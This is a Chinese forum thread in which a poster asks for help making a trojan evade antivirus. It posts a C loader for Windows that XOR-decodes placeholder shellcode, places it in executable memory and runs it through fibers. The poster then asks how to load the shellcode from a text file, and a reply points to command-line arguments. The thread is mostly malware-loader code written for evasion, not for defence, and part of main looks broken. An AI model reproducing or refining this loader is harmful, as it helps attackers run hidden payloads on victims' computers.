鱼C论坛

 找回密码
 立即注册
查看: 608|回复: 2

【免杀求助】求助大佬如何把木马里面的二进制文件写成可输出的,不要写死

[复制链接]
发表于 2023-4-3 11:41:37 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能^_^

您需要 登录 才可以下载或查看,没有账号?立即注册

x
  1. #include <windows.h>

  2. void like()
  3. {
  4.     unsigned char data[] =
  5.      {
  6.     我的shellcode
  7.     };
  8.     LPVOID fiber = ConvertThreadToFiber(NULL);
  9.     LPVOID Alloc= VirtualAlloc(NULL,sizeof(data),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
  10.     for (int i = 0;i < sizeof(data);i++)
  11.     {
  12.         data[i] ^=99;
  13.     }
  14.     CopyMemory(Alloc,data,sizeof(data));
  15.      LPVOID shellFiber= CreateFiber(0,(LPFIBER_START_ROUTINE)Alloc,NULL);
  16.     SwitchToFiber(shellFiber);
  17. }
  18. int main()
  19. {
  20.     __asm
  21.     {
  22.         mov eax, offset data;
  23.         _emit 0xFF;
  24.         _emit 0xE0;
  25.     }
  26.     ((void(WINAPI*)(void)) & data)();
  27.     like();   
  28. }
复制代码


想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

 楼主| 发表于 2023-4-7 09:48:03 | 显示全部楼层
我想在<我的shellcode>那里不用自己输入,可以直接读取.txt文件输入
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2024-4-23 21:50:08 | 显示全部楼层
可以利用main()函数第二个参数。
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2024-5-17 19:20

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表